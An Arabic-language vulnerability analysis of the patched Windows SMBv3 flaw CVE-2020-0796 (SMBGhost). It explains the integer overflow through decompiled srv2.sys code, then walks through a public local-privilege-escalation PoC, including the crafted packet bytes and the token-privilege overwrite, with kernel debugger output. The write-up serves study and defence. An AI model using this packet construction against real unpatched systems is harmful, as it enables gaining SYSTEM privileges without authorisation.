
تحليل تقني وإثبات المفهوم لـ CVE-2020-0796 (SMBGhost)، ثغرة تجاوز عدد صحيح في ضغط SMBv3 تؤدي إلى تصعيد الامتيازات المحلية على Windows 10/Server.
تمت إضافة ميزة الضغط إلى SMBv3 بدءًا من إصدار نظام التشغيل Windows 10/Server version 1903، والتي تحتوي على ثغرة تجاوز سعة عدد صحيح (integer overflow) أكدتها Microsoft في 12/03/2020. تسمح للمهاجم بتنفيذ تصعيد الامتيازات المحلية (LPE) وتنفيذ التعليمات البرمجية عن بُعد (RCE). هنا سنتحدث فقط عن ثغرة LPE.
الإصدارات المتأثرة:
تحليل ملف srv2.sys، نلاحظ أن الدوال المتعلقة بعملية فك الضغط (Decompress) يتم استدعاؤها كما يلي:``` js
Srv2ReceiveHandler
|
|
v
Srv2DecompressMessageAsync
|
|
v
Srv2DecompressData -------> SrvNetAllocateBuffer
|
|
v
SmbCompressionDecompress
|
|
v
memcpy
أولاً، يتم استدعاء الدالة `Srv2ReceiveHandler` لاستقبال حزمة بيانات smb واستدعاء دالة مقابلة لبروتوكول `ProtocolId`. إذا كان `ProtocolId` = 0x424D53FC، فسيتم استدعاء الدالة `Srv2DecompressMessageAsync`، والتي ستقوم بدورها باستدعاء الدالة `Srv2DecompressData` لفك ضغط حزمة البيانات. تقوم الدالة `Srv2DecompressData` باستدعاء الدالة `SrvNetAllocateBuffer` لتخصيص `Alloc` لتخزين البيانات بعد فك الضغط، ثم تستدعي الدالة `SmbCompressionDecompress` لفك ضغط حزمة البيانات، وأخيراً تستدعي الدالة `memcpy`. وهكذا، تتكون عملية فك الضغط بأكملها من الخطوات الرئيسية التالية:
- 1. تخصيص (Allocate)
- 2. فك الضغط (Decompress)
- 3. نسخ (Copy)
وفقًا للوثائق التي توفرها Microsoft، يتم استخدام الهيكل `COMPRESSION_TRANSFORM_HEADER` لإرسال واستقبال البيانات المضغوطة بين العميل والخادم. وله الهيكل التالي:``` c
typedef struct _COMPRESSION_TRANSFORM_HEADER
{
ULONG ProtocolId;
ULONG OriginalCompressedSegmentSize;
USHORT CompressionAlgorithm;
USHORT Flags;
ULONG Offset;
} ;
هنا نركز فقط على الحقلين الرئيسيين أعلاه وهما:
OriginalCompressedSegmentSize هو حجم مقطع البيانات غير المضغوط، بالبايت.Offset هو الإزاحة بالبايت بين نقطة بداية البيانات المضغوطة ونقطة نهاية هيكل _COMPRESSION_TRANSFORM_HEADER.وبالتالي، فإن حزمة البيانات المضغوطة ستبدو كما يلي:
``` c
typedef struct _ALLOCATION_HEADER
{
// ...
PVOID UserBuffer;
// ...
} ALLOCATION_HEADER, *PALLOCATION_HEADER;
NTSTATUS Srv2DecompressData(PCOMPRESSION_TRANSFORM_HEADER Header, SIZE_T TotalSize) { PALLOCATION_HEADER Alloc = SrvNetAllocateBuffer( (ULONG)(Header->OriginalCompressedSegmentSize + Header->Offset), NULL); If (!Alloc) { return STATUS_INSUFFICIENT_RESOURCES; }
ULONG FinalCompressedSize = 0;
NTSTATUS Status = SmbCompressionDecompress(
Header->CompressionAlgorithm,
(PUCHAR)Header + sizeof(COMPRESSION_TRANSFORM_HEADER) + Header->Offset,
(ULONG)(TotalSize - sizeof(COMPRESSION_TRANSFORM_HEADER) - Header->Offset),
(PUCHAR)Alloc->UserBuffer + Header->Offset,
Header->OriginalCompressedSegmentSize,
&FinalCompressedSize);
if (Status < 0 || FinalCompressedSize != Header->OriginalCompressedSegmentSize) {
SrvNetFreeBuffer(Alloc);
return STATUS_BAD_DATA;
}
if (Header->Offset > 0) {
memcpy(
Alloc->UserBuffer,
(PUCHAR)Header + sizeof(COMPRESSION_TRANSFORM_HEADER),
Header->Offset);
}
Srv2ReplaceReceiveBuffer(some_session_handle, Alloc);
return STATUS_SUCCESS;
}
تحليل الدالة `Srv2DecompressData`، نجد أن الدالة تستقبل حزمة بيانات مضغوطة `COMPRESSION_TRANSFORM_HEADER` (Header)، ثم تقوم بتخصيص منطقة ذاكرة (Alloc) باستخدام الدالة `SrvNetAllocateBuffer` مع معامل هو مجموع `Header->OriginalCompressedSegmentSize` + `Header->Offset`، ثم تقوم بفك ضغط البيانات المضغوطة ونسخ البيانات غير المضغوطة إلى `Alloc->Buffer`.

يحدث خطأ تجاوز سعة عدد صحيح (integer overflow) عندما تستدعي الدالة `Srv2DecompressData` الدالة `SrvNetAllocateBuffer`، حيث تستقبل الدالة `SrvNetAllocateBuffer` في الواقع قيمتين 64 بت، ولكن عند استدعاء `SrvNetAllocateBuffer`، تمرر إليها `Srv2DecompressData` قيمتين 32 بت فقط (ULONG). بينما كل من `OriginalCompressedSegmentSize` و `Offset` هما من نوع ULONG، وعند جمعهما معًا، قد ينتج رقم أكبر من 32 بت. ولهذا يحدث خطأ تجاوز السعة (ببساطة، عند جمع 0xffffffff (`OriginalCompressedSegmentSize`) مع 0x10 (`Offset`) ينتج القيمة 0xf0000000f ولكن الدالة `SrvNetAllocateBuffer` تستقبل فقط القيمة 0x0000000f).

سيؤدي خطأ تجاوز السعة إلى تخصيص خاطئ لمنطقة الذاكرة Alloc (حجم التخصيص المطلوب أصغر من الحجم الفعلي)، مما قد يسبب خطأ تجاوز سعة المخزن المؤقت (buffer overflow):

لمعرفة ما إذا كان خطأ تجاوز سعة المخزن المؤقت يحدث أم لا، وكيف يحدث، سنقوم بتحليل الدالتين `SrvNetAllocateBuffer` و `SmbCompressionDecompress`.``` c
PALLOCATION_HEADER SrvNetAllocateBuffer(SIZE_T AllocSize, PALLOCATION_HEADER SourceBuffer)
{
v2 = *MK_FP(__GS__, 420i64);
v3 = 0;
v4 = a2;
v5 = 0;
if ( SrvDisableNetBufferLookAsideList || allocSize > 0x100100 )
{
if ( allocSize > 0x1000100 )
return 0i64;
v11 = SrvNetAllocateBufferFromPool(allocSize, allocSize);
}
else
{
if ( allocSize > 0x1100 )
{
_RCX = allocSize - 256;
__asm
{
bsr rdx, rcx
bsf rax, rcx
}
if ( (_DWORD)_RDX == (_DWORD)_RAX )
v3 = _RDX - 12;
else
v3 = _RDX - 11;
}
v6 = SrvNetBufferLookasides[(unsigned __int64)v3];
v7 = *(_DWORD *)v6 - 1;
if ( (unsigned int)(unsigned __int16)v2 + 1 < *(_DWORD *)v6 )
v7 = (unsigned __int16)v2 + 1;
v8 = (unsigned int)v7;
v9 = *(_QWORD *)(v6 + 32);
v10 = *(_QWORD *)(v9 + 8 * v8);
if ( !*(_BYTE *)(v10 + 0x70) )
PplpLazyInitializeLookasideList(v6, *(_QWORD *)(v9 + 8 * v8));
++*(_DWORD *)(v10 + 20);
v11 = (unsigned __int64)ExpInterlockedPopEntrySList((PSLIST_HEADER)v10);
if ( !v11 )
{
++*(_DWORD *)(v10 + 24);
v12 = *(_DWORD *)(v10 + 44);
v13 = *(_DWORD *)(v10 + 40);
v14 = *(_DWORD *)(v10 + 36);
LODWORD(v15) = sub_1C00110B0(*(int (**)(void))(v10 + 48));
v11 = v15;
}
v5 = 2;
}
if ( v11 )
{
*(_WORD *)(v11 + 0x10) |= v5;
*(_WORD *)(v11 + 0x12) = v3;
*(_WORD *)(v11 + 0x14) = v2;
if ( v4 )
{
v24 = *(_DWORD *)(v4 + 0x24);
if ( v24 >= *(_DWORD *)(v11 + 0x20) )
v24 = *(_DWORD *)(v11 + 0x20);
v25 = *(void **)(v11 + 0x18);
*(_DWORD *)(v11 + 0x24) = v24;
memcpy(v25, *(const void **)(v4 + 0x18), v24);
v26 = *(_WORD *)(v4 + 0x16);
if ( v26 )
{
*(_WORD *)(v11 + 0x16) = v26;
memcpy((void *)(v11 + 0x64), (const void *)(v4 + 0x64), 0x10i64 * *(_WORD *)(v4 + 0x16));
}
}
else
{
*(_DWORD *)(v11 + 36) = 0;
}
}
return v11;
}
الجزء البرمجي أعلاه مأخوذ من Pseuducode الخاص بـ IDA Pro، ويبدو معقدًا بعض الشيء. ومع ذلك، يمكننا فهمه ببساطة من خلال النظر إلى الكود الذي أعاد كتابته Zecops:``` c PALLOCATION_HEADER SrvNetAllocateBuffer(SIZE_T AllocSize, PALLOCATION_HEADER SourceBuffer) { // ...
if (SrvDisableNetBufferLookAsideList || AllocSize > 0x100100) {
if (AllocSize > 0x1000100) {
return NULL;
}
Result = SrvNetAllocateBufferFromPool(AllocSize, AllocSize);
} else {
int LookasideListIndex = 0;
if (AllocSize > 0x1100) {
LookasideListIndex = /* some calculation based on AllocSize */;
}
SOME_STRUCT list = SrvNetBufferLookasides[LookasideListIndex];
Result = /* fetch result from list */;
}
// Initialize some Result fields...
return Result;
}
Hàm `SrvNetAllocateBuffer` ستستقبل الحجم المطلوب تخصيصه، ثم تتحقق مما إذا كان الحجم أكبر من `0x100100`، فإذا كان أكبر، ترجع `NULL`. تقوم هذه الدالة أيضًا بفحص المتغير `SrvDisableNetBufferLookAsideList`، لكنني لم أجد أي وثائق تذكر هذا المتغير، وهو مضبوط على `0` افتراضيًا، لذا ربما ليس مهمًا جدًا.
إذا تحقق الشرط، ستواصل الدالة حساب قيمة فهرس استنادًا إلى `AllocSize` المُستلم، ثم تستخرج قيمة من المصفوفة `SrvNetBufferLookasides` (تحتوي هذه المصفوفة على 9 عناصر) بناءً على الفهرس المُحسوب، وتقوم بالتخصيص. من كود التجميع، استخدم Zecops لغة `python` لحساب الأحجام المقابلة لكل فهرس:``` py
>>> [hex((1 << (i + 12)) + 256) for i in range(9)]
[‘0x1100’, ‘0x2100’, ‘0x4100’, ‘0x8100’, ‘0x10100’, ‘0x20100’, ‘0x40100’, ‘0x80100’, ‘0x100100’]
وبالتالي، بالنسبة لطلب تخصيص حجم أقل من أو يساوي 0x1100، ستقوم الدالة بتخصيص منطقة ذاكرة بحجم 0x1100. أما بالنسبة لطلب تخصيص حجم أكبر من 0x1100 وأقل من أو يساوي 0x2100، فستقوم الدالة بتخصيص منطقة ذاكرة بحجم 0x2100، وهكذا بالنسبة لطلبات التخصيص الأكبر.
بعد الانتهاء من التخصيص، ستعيد الدالة عنوانًا يخزن بنية أطلق عليها Zcops اسم ALLOCATION_HEADER. وفقًا للبحث، تحتوي هذه البنية على البيانات التالية:

الشيء المثير للاهتمام هو أن ALLOCATION_HEADER يقع مباشرة أسفل ALLOCATION_HEADER->UserBuffer، وإذا كان من الممكن تجاوز سعة المخزن المؤقت UserBuffer، فيمكننا كتابة قيمة عشوائية في ALLOCATION_HEADER.

بعد ذلك، سننظر إلى ما تفعله دالة SmbCompressionDecompress:``` c
__int64 __fastcall SmbCompressionDecompress(int CompressionAlgorithm, __int64 DataCompressed, __int64 SizeCompressed, __int64 AllocUserbufferDecompress, unsigned int OriginalCompressedSegmentSize, __int64 FinalCompressedSize)
{
PVOID v6; // rdi@1
__int64 v7; // r14@1
__int64 v8; // r15@1
int v9; // ebx@2
int v10; // ecx@3
int v11; // ecx@4
signed __int16 v12; // bx@6
__int64 v13; // rsi@12
unsigned int v14; // ebp@12
int v16; // [sp+40h] [bp-28h]@1
SIZE_T NumberOfBytes; // [sp+70h] [bp+8h]@1
v16 = 0; v6 = 0i64; LODWORD(NumberOfBytes) = 0; v7 = AllocUserbufferDecompress; v8 = DataCompressed; if ( !CompressionAlgorithm ) goto LABEL_2; v10 = CompressionAlgorithm - 1; if ( v10 ) { v11 = v10 - 1; if ( v11 ) { if ( v11 != 1 ) { LABEL_2: v9 = 0xC00000BB; return (unsigned int)v9; } v12 = 4; } else { v12 = 3; } } else { v12 = 2; } if ( RtlGetCompressionWorkSpaceSize((unsigned __int16)v12, &NumberOfBytes, &v16) < 0 || (v6 = ExAllocatePoolWithTag((POOL_TYPE)512, 0i64, 0x2532534Cu)) != 0i64 ) { v13 = FinalCompressedSize; v14 = OriginalCompressedSegmentSize; v9 = RtlDecompressBufferEx2((unsigned __int16)v12, v7, OriginalCompressedSegmentSize, v8); if ( v9 >= 0 ) *(_DWORD *)v13 = v14; if ( v6 ) ExFreePoolWithTag(v6, 0x2532534Cu); } else { v9 = 0xC000009A; } return (unsigned int)v9; }
الكود أعلاه مأخوذ من الكود الزائف لـ IDA، إذا كنت لا تفهم ما يفعله الكود أعلاه، يمكنك الاطلاع على الكود المعاد كتابته بواسطة Zecops:``` c
NTSTATUS SmbCompressionDecompress(
USHORT CompressionAlgorithm,
PUCHAR UncompressedBuffer,
ULONG UncompressedBufferSize,
PUCHAR CompressedBuffer,
ULONG CompressedBufferSize,
PULONG FinalCompressedSize)
{
// ...
NTSTATUS Status = RtlDecompressBufferEx2(
...,
FinalUncompressedSize,
...);
if (Status >= 0) {
*FinalCompressedSize = CompressedBufferSize;
}
// ...
return Status;
}
تقوم هذه الوظيفة أساسًا بفك ضغط البيانات المضغوطة وتخزينها في Alloc->UserBuffer + Offset. إذا نجح فك الضغط، سيتم تعيين المعامل FinalCompressedSize ليكون مساويًا للمعامل CompressedBufferSize، وهي قيمة OriginalCompressedSegmentSize التي تم تمريرها من الدالة Srv2DecompressData.
بالعودة إلى الدالة Srv2DecompressData، بعد تنفيذ الدالة SmbCompressionDecompress، ستواصل الدالة مقارنة القيمة FinalCompressedSize و OriginalCompressedSegmentSize لمعرفة ما إذا كانتا متساويتين أم لا، وما إذا كانت Status المرتجعة < 0.``` c
if (Status < 0 || FinalCompressedSize != Header->OriginalCompressedSegmentSize) { // bypass
SrvNetFreeBuffer(Alloc);
return STATUS_BAD_DATA;
}
كما ذكر أعلاه، إذا نجحت عملية فك الضغط، فإن `FinalCompressedSize` و `OriginalCompressedSegmentSize` سيكونان متساويين، وستكون قيمة `Status` المرتجعة أكبر من أو تساوي 0. لذلك، إذا نجح فك الضغط، فلن يتم تنفيذ الكود داخل جملة if. سنقوم بتحليل قطعة الكود التالية:``` c
if (Header->Offset > 0) {
memcpy( // copy raw data into UserBuffer
Alloc->UserBuffer,
(PUCHAR)Header + sizeof(COMPRESSION_TRANSFORM_HEADER),
Header->Offset);
}
هذا الكود سيتحقق من Header->Offset > 0. قيمة Offset هي الانحراف بين منطقة البيانات المضغوطة ونهاية Header، بما يتوافق مع حجم منطقة البيانات غير المضغوطة. ثم يتم استدعاء الدالة memcpy لنسخ منطقة البيانات غير المضغوطة إلى بداية Alloc->UserBuffer.
وبالتالي، إذا كان من الممكن استخدام ثغرة تجاوز سعة المخزن المؤقت، والكتابة فوق منطقة Alloc Header لتغيير قيمة المؤشر Alloc->UserBuffer إلى العنوان A، فإن العنوان A سيحتوي على بيانات غير مضغوطة يرسلها العميل. لمزيد من الوضوح، سنقوم بتحليل POC الخاص بـ Daniel García Gutiérrez (@danigargu) و Manuel Blanco Parajón (@dialluvioso_)، ثم التصحيح (debug) لفهم أفضل.
يقوم POC بما يلي:
الحصول على الرمز (token) الخاص به.
إنشاء مصفوفة buffer بحجم 0x1110، وتخزين 0x1108 حرفًا 'A' في بداية المصفوفة، ثم تخزين القيمة [Token + 0x40] التي تم الحصول عليها أعلاه. سنشرح الغرض من هذا لاحقًا.
ضغط البيانات في المصفوفة buffer وتخزينها في المصفوفة compressed_buffer.
إنشاء مصفوفة buf تحتوي على البيانات كما يلي:``` c
const uint8_t buf[] = {
/* NetBIOS Wrapper */
0x00,
0x00, 0x00, 0x33,
/* SMB Header */
0xFC, 0x53, 0x4D, 0x42, /* protocol id */
0xFF, 0xFF, 0xFF, 0xFF, /* original decompressed size, trigger arithmetic overflow */
0x02, 0x00, /* compression algorithm, LZ77 */
0x00, 0x00, /* flags */
0x10, 0x00, 0x00, 0x00, /* offset */
};
ثم قم بإنشاء مصفوفة `packet` بحجم: `sizeof(buf) + 0x10 + len`، حيث `len` هو حجم `buffer` بعد الضغط أعلاه (حجم **البيانات** لـ `compressed_buffer`).
- انسخ بيانات المصفوفة `buf` إلى `packet`، ثم انسخ القيمة `0x1FF2FFFFBC` ثم بيانات المصفوفة `compressed_buffer`:``` c
memcpy(packet, buf, sizeof(buf));
*(uint64_t*)(packet + sizeof(buf)) = 0x1FF2FFFFBC;
*(uint64_t*)(packet + sizeof(buf) + 0x8) = 0x1FF2FFFFBC;
memcpy(packet + sizeof(buf) + 0x10, compressed_buffer, len);
packet إلى خادم SMB.سأشرح الآن المشكلات في POC المذكورة أعلاه.
لماذا يجب إنشاء مصفوفة buffer بحجم 0x1110 بايت، وتخزين 0x1108 حرف 'A' وقيمة [token + 0x40]. بشكل عام، الغرض من هذا POC هو استخدام الدوال في SMB لتغيير قيمة token->Privileges الخاص به ([Token + 0x40]).
في رأس SMB، نهتم بحجم البيانات المفكوكة الأصلية والإزاحة، وهما على التوالي 0xffffffff و 0x00000010. الغرض هو جعل SMB يعاني من خطأ فيضان صحيح (integer overflow)، مما يؤدي إلى تخصيص مصفوفة Alloc->Buffer بحجم 0x1100 فقط (< 0x1110 + حجم البيانات الخام).
القيمة 0x1FF2FFFFBC المخزنة في الـ 0x10 بايت بعد الرأس هي قيمة مخزنة في token->Privileges->Present و token->Privileges->Enabled لعملية SYSTEM، وهذا يعني أنه إذا كانت لدى أي عملية token->Privileges->Present و token->Privileges->Enabled تساوي 0x1FF2FFFFBC، فستحصل العملية على صلاحيات عملية SYSTEM.
من المعلومات أعلاه، يمكننا أن نتصور أن POC يريد من الدوال في SMB تغيير قيم token->Privileges->Present و token->Privileges->Enabled الخاصة به إلى 0x1FF2FFFFBC. لمعرفة ذلك بدقة، سننتقل إلى قسم تصحيح النواة.
أولاً، نضع نقطة توقف عند بداية الدالة Srv2DecompressData```` 0: kd> bm srv2!Srv2DecompressData 1: fffff80717c47e60 @!"srv2!Srv2DecompressData"
0: kd> bl
1 e Disable Clear fffff807`17c47e60 0001 (0001) srv2!Srv2DecompressData
بعد ذلك، قم بتشغيل POC، سيتم استدعاء الدالة `Srv2DecompressData`، وسيتوقف النواة عند بداية الدالة `srv2!Srv2DecompressData`.
تابع لعرض بيانات الرأس (Header):```
1: kd> dd ffffd10e92347c10
ffffd10e`92347c10 424d53fc ffffffff 00000002 00000010
ffffd10e`92347c20 f2ffffbc 0000001f f2ffffbc 0000001f
ffffd10e`92347c30 403fffff 0f000741 701104ff 8dafb9e7
ffffd10e`92347c40 00ffffae 00000000 00000000 00000000
هذه هي بيانات المصفوفة packet التي أرسلها POC إلى SMB كما هو محلل في POC أعلاه. أول 0x10 بايت هي جزء رأس SMB، والـ 0x10 بايت التالية تحتوي على القيمة 0x1FF2FFFFBC مرتين كمنطقة بيانات خام، والـ 0x13 بايت التالية هي بيانات المخزن المؤقت المضغوطة. وبالتالي، الحجم الإجمالي للرأس هو 0x33 بايت.
عند الوصول إلى استدعاء الدالة SrvNetAllocateBuffer لرؤية المعاملات التي تم تمريرها، فإن الدالة SrvNetAllocateBuffer تتلقى المعامل 0xf و null.

القيمة المرجعة من الدالة SrvNetAllocateBuffer هي مؤشر يشير إلى بنية ALLOCATION_HEADER (كما يطلق عليها في هذه المقالة).```
1: kd> dd rax
ffffd10e94729150 ca9a7573 417b1178 32fe5f70 dc85f193 ffffd10e94729160 00000002 00000001 94728050 ffffd10e
ffffd10e`94729170 00001100 00000000 00001278 75881029

بعد ذلك، سيتم استدعاء الدالة `SmbCompressionDecompress`، والتي ستقوم بفك الضغط وكتابة البيانات المفكوكة إلى `Alloc->Buffer + Header -> Offset````
1: kd> dd ffffd10e94728050
ffffd10e`94728050 1050118b 3318f0fa 00000000 00000000
ffffd10e`94728060 41414141 41414141 41414141 41414141
ffffd10e`94728070 41414141 41414141 41414141 41414141
...
ffffd10e`94729150 41414141 41414141 41414141 41414141
ffffd10e`94729160 41414141 41414141 afb9e770 ffffae8d
ffffd10e`94729170 00001100 00000000 00001278 75881029
1: kd> dt _sep_token_privileges ffffae8dafb9e770
nt!_SEP_TOKEN_PRIVILEGES
+0x000 Present : 0x00000006`02880000
+0x008 Enabled : 0x800000
+0x010 EnabledByDefault : 0x40800000

في هذه المرحلة، تم استبدال Alloc->Buffer بالعنوان [Token + 0x40]. تقوم الدالة Srv2DecompressData باستدعاء memcpy(Alloc->UserBuffer, (PUCHAR)Header + sizeof(COMPRESSION_TRANSFORM_HEADER), Header->Offset); لنسخ البيانات الخام إلى Alloc->UserBuffer. ومع ذلك، تم استبدال Alloc->UserBuffer بـ Token->Privileges لذا سيتم كتابة البيانات الخام إلى Token->Privileges:```
1: kd> dt _sep_token_privileges ffffae8dafb9e770
nt!_SEP_TOKEN_PRIVILEGES
+0x000 Present : 0x0000001ff2ffffbc +0x008 Enabled : 0x0000001ff2ffffbc
+0x010 EnabledByDefault : 0x40800000

عند هذه النقطة، أصبح لدى برنامج POC صلاحيات SYSTEM، والخطوة التالية هي فتح برنامج SYSTEM (winlogon.exe) وحقن شيل كود لفتح cmd.
# مراجع
[SMB2 COMPRESSION_TRANSFORM_HEADER](https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-smb2/1d435f21-9a21-4f4c-828e-624a176cf2a0)
[Exploiting SMBGhost (CVE-2020-0796) for a Local Privilege Escalation: Writeup + POC](https://blog.zecops.com/vulnerabilities/exploiting-smbghost-cve-2020-0796-for-a-local-privilege-escalation-writeup-and-poc/)
[CVE-2020-0796 Windows SMBv3 LPE Exploit POC Analysis](https://paper.seebug.org/1165/)
[Token Abuse for Privilege Escalation in Kernel](https://www.ired.team/miscellaneous-reversing-forensics/windows-kernel-internals/how-kernel-exploits-abuse-tokens-for-privilege-escalation)
<p align="right">
<b><i>DatntSec. Viettel Cyber Security.<i><b>
</p>